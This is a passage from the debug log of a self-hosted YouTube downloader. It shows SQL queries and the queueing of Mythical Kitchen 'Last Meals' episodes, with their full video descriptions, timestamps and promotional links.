https://mythic.al/hotdog\n\n0:00 Lana's Last Meal\n0:30 Natural Rizz\n1:23 Have You Thought About Your Last Meal Before?\n3:04 1st Course\n8:29 A Girl Version Of Andrew Garfield In Hacksaw Ridge\n12:05 Tattoos Do Not Work On Lana\n13:05 2nd Course\n13:57 Dining Solo\n16:12 Adopted From Vietnam\n23:01 Women Need More Sleep\n24:23 Do We Have Free Will?\n25:18 Losing Mom\n27:09 3rd Course\n29:13 Talk To Yourself Like Your Best Friend\n30:04 Spicy Noodles Help With Grief\n32:00 Adopting A Puppy From Buzzfeed\n33:19 4th Course\n34:13 Growing Up On Whidbey Island\n35:17 Mom's Legacy\n36:59 Lightning Round\n39:56 Lana's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Lana Condor Eats Her Last Meal", "20cc9c75-e7b4-4392-8e09-795717f56686", "https://www.youtube.com/watch?v=Tzo8Z3qLV38", false, "Tzo8Z3qLV38", 2453, false, 9, "/downloads/Last Meals/2025-01-21 Lana Condor Eats Her Last Meal/Lana Condor Eats Her Last Meal [Tzo8Z3qLV38].mp4", false, false, 1, [], 0, ~U[2025-01-21 11:00:40Z], ~U[2026-03-28 00:47:02Z], ~U[2026-03-28 00:47:02Z], "Today, Lana Condor eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Lana's Last Meal\n0:30 Natural Rizz\n1:23 Have You Thought About Your Last Meal Before?\n3:04 1st Course\n8:29 A Girl Version Of Andrew Garfield In Hacksaw Ridge\n12:05 Tattoos Do Not Work On Lana\n13:05 2nd Course\n13:57 Dining Solo\n16:12 Adopted From Vietnam\n23:01 Women Need More Sleep\n24:23 Do We Have Free Will?\n25:18 Losing Mom\n27:09 3rd Course\n29:13 Talk To Yourself Like Your Best Friend\n30:04 Spicy Noodles Help With Grief\n32:00 Adopting A Puppy From Buzzfeed\n33:19 4th Course\n34:13 Growing Up On Whidbey Island\n35:17 Mom's Legacy\n36:59 Lightning Round\n39:56 Lana's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01 (truncated) 20:47:02.042 [debug] QUERY OK source="sources" db=0.2ms idle=66.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:02.042 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:02.043 [debug] QUERY OK source="media_items" db=0.3ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 20:47:02.043 [info] Kicking off download for media item #9 (Tzo8Z3qLV38) 20:47:02.045 [debug] QUERY OK source="tasks" db=0.2ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [12, 9, ~U[2026-03-28 00:47:02Z], ~U[2026-03-28 00:47:02Z]] 20:47:02.045 [debug] Current batch of media processed. Will check again in 1000ms 20:47:03.046 [debug] Current batch of media processed. Will check again in 1000ms 20:47:04.048 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Jake Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Jake's Last Meal Menu\n0:42 Manhandled By Boban Marjanovic\n1:53 Going Vegan\n3:19 1st Course - Vegan Chicago Diner Burger, Fries, & Healthy Coke\n6:20 Self Reliance Is Jake's Dream Project\n7:02 The Need For Human Connection\n7:33 Feeling Numb\n8:47 Art Doesn't Need To Play By The Rules\n9:48 A New Kind of Fun\n11:16 2nd Course - Fried Shrimp Po' Boy\n12:09 Working In Casinos & Addicted To Losing\n14:15 Just Famous Enough\n15:58 New Girl Guest Directors\n17:58 3rd Course - Omakase Sushi\n21:21 Jake's Podcast \"We're Here To Help\"\n22:13 Ostrich Farm Surprise\n28:13 4th Course - Vegan Hot Fudge Sundae\n28:58 Challenging His Dad's Sobriety\n31:03 Cherishing Parents Before Time Runs Out\n32:29 Your Kids Will Hate You For Something\n33:44 Sneaking Ashes Onto Wrigley Field\n36:19 Who's The One Person You'd Want To Share Your Last Meal With?\n36:23 Who's The Greatest Sitcom Character Of All Time?\n36:27 What Song Do You Want Played At Your Funeral?\n36:44 Who Do The Bears Take For Their Number 1 Pick?\n37:07 What's Your Biggest Fear?\n37:57 Which Stunt With Tom Cruise Did You Feel You Were Most Going To Die?\n39:03 Are You Happy?\n39:19 Jake's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2382, "filename" => "/downloads/Last Meals/2024-01-16 Jake Johnson Eats His Last Meal/Jake Johnson Eats His Last Meal [ot35HRC-Zlk].mp4", "id" => "ot35HRC-Zlk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ot35HRC-Zlk", "playlist_index" => 10, "timestamp" => 1705402843, "title" => "Jake Johnson Eats His Last Meal", "upload_date" => "20240116"} 20:47:04.049 [debug] QUERY OK source="sources" db=0.3ms idle=991.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:04.049 [debug] QUERY OK source="sources" db=0.2ms idle=991.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:04.050 [debug] QUERY OK source="media_items" db=0.2ms idle=992.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-16 11:00:43Z], 1] 20:47:04.054 [debug] QUERY OK source="media_items" db=2.9ms idle=993.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Jake Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Jake's Last Meal Menu\n0:42 Manhandled By Boban Marjanovic\n1:53 Going Vegan\n3:19 1st Course - Vegan Chicago Diner Burger, Fries, & Healthy Coke\n6:20 Self Reliance Is Jake's Dream Project\n7:02 The Need For Human Connection\n7:33 Feeling Numb\n8:47 Art Doesn't Need To Play By The Rules\n9:48 A New Kind of Fun\n11:16 2nd Course - Fried Shrimp Po' Boy\n12:09 Working In Casinos & Addicted To Losing\n14:15 Just Famous Enough\n15:58 New Girl Guest Directors\n17:58 3rd Course - Omakase Sushi\n21:21 Jake's Podcast \"We're Here To Help\"\n22:13 Ostrich Farm Surprise\n28:13 4th Course - Vegan Hot Fudge Sundae\n28:58 Challenging His Dad's Sobriety\n31:03 Cherishing Parents Before Time Runs Out\n32:29 Your Kids Will Hate You For Something\n33:44 Sneaking Ashes Onto Wrigley Field\n36:19 Who's The One Person You'd Want To Share Your Last Meal With?\n36:23 Who's The Greatest Sitcom Character Of All Time?\n36:27 What Song Do You Want Played At Your Funeral?\n36:44 Who Do The Bears Take For Their Number 1 Pick?\n37:07 What's Your Biggest Fear?\n37:57 Which Stunt With Tom Cruise Did You Feel You Were Most Going To Die?\n39:03 Are You Happy?\n39:19 Jake's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jake Johnson Eats His Last Meal", "ea33d799-c2f6-4d4f-82f7-2797f7b192b4", "https://www.youtube.com/watch?v=ot35HRC-Zlk", false, "ot35HRC-Zlk", 2382, false, 10, "/downloads/Last Meals/2024-01-16 Jake Johnson Eats His Last Meal/Jake Johnson Eats His Last Meal [ot35HRC-Zlk].mp4", false, false, 1, [], 0, ~U[2024-01-16 11:00:43Z], ~U[2026-03-28 00:47:04Z], ~U[2026-03-28 00:47:04Z], "Today, Josh is cooking Jake Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Jake's Last Meal Menu\n0:42 Manhandled By Boban Marjanovic\n1:53 Going Vegan\n3:19 1st Course - Vegan Chicago Diner Burger, Fries, & Healthy Coke\n6:20 Self Reliance Is Jake's Dream Project\n7:02 The Need For Human Connection\n7:33 Feeling Numb\n8:47 Art Doesn't Need To Play By The Rules\n9:48 A New Kind of Fun\n11:16 2nd Course - Fried Shrimp Po' Boy\n12:09 Working In Casinos & Addicted To Losing\n14:15 Just Famous Enough\n15:58 New Girl Guest Directors\n17:58 3rd Course - Omakase Sushi\n21:21 Jake's Podcast \"We're Here To Help\"\n22:13 Ostrich Farm Surprise\n28:13 4th Course - Vegan Hot Fudge Sundae\n28:58 Challenging His Dad's Sobriety\n31:03 Cherishing Parents Before Time Runs Out\n32:29 Your Kids Will Hate You For Something\n33:44 Sneaking Ashes Onto Wrigley Field\n36:19 Who's The One Person You'd Want To Share Your Last Meal With?\n36:23 Who's The Greatest Sitcom Character Of All Time?\n36:27 What Song Do You Want Played At Your Funeral?\n36:44 Who Do The Bears Take For Their Number 1 Pick?\n37:07 What's Your Biggest Fear?\n37:57 Which Stunt With Tom Cruise Did You Feel You Were Most Going To Die?\n39:03 Are You Happy?\n39:19 Jake's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jake Johnson Eats His Last Meal", "https://www.youtube.com/watch?v=ot35HRC-Zlk", "ot35HRC-Zlk", 2382, false, "/downloads/Last Meals/2024-01-16 Jake Johnson Eats His Last Meal/Jake Johnson Eats His Last Meal [ot35HRC-Zlk].mp4", false, 1, ~U[2024-01-16 11:00:43Z]] 20:47:04.054 [debug] QUERY OK source="sources" db=0.2ms idle=76.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:04.055 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:04.056 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 20:47:04.056 [info] Kicking off download for media item #10 (ot35HRC-Zlk) 20:47:04.059 [debug] QUERY OK source="tasks" db=0.1ms idle=3.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [13, 10, ~U[2026-03-28 00:47:04Z], ~U[2026-03-28 00:47:04Z]] 20:47:04.059 [debug] Current batch of media processed. Will check again in 1000ms 20:47:05.060 [debug] Current batch of media processed. Will check again in 1000ms 20:47:06.062 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Hank Green eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Hank's Last Meal Menu\n1:37 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n3:11 1st Course - Sweet Red Bean Buns & Avocado Milk Tea Boba\n5:12 How To Foster Curiosity\n6:18 The Best Part Of Having Cancer\n7:26 Staying Positive Through Diagnosis\n9:44 2nd Course - Catfish Po' Boy & Sazerac\n11:57 Life, Death, & Elf Spaghetti\n15:01 Dave Matthews Hater\n17:14 \"Science Is Happening In Me\"\n19:12 3rd Course - Fancy Corndog & Lotsa Layers Lasagna\n22:19 Predictions for 2050\n24:13 We Shouldn't Care About Everything\n27:10 4th Course - Milkshake, Cookies, Tea, & Salmon Candy\n30:25 Knees Are Wild\n31:13 Promoting Chemotherapy\n31:48 What Happens When You Die?\n33:26 Who's The One Person You'd Want To Share Your Last Meal With?\n34:01 What Song Do You Want Played At Your Funeral?\n34:07 What's Your Favorite Dave Matthews Song?\n34:38 What's Your Biggest Fear?\n34:52 Is Butt Legs?\n35:51 What's Your Greatest Regret?\n36:17 Are You Happy?\n36:42 Hank's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? 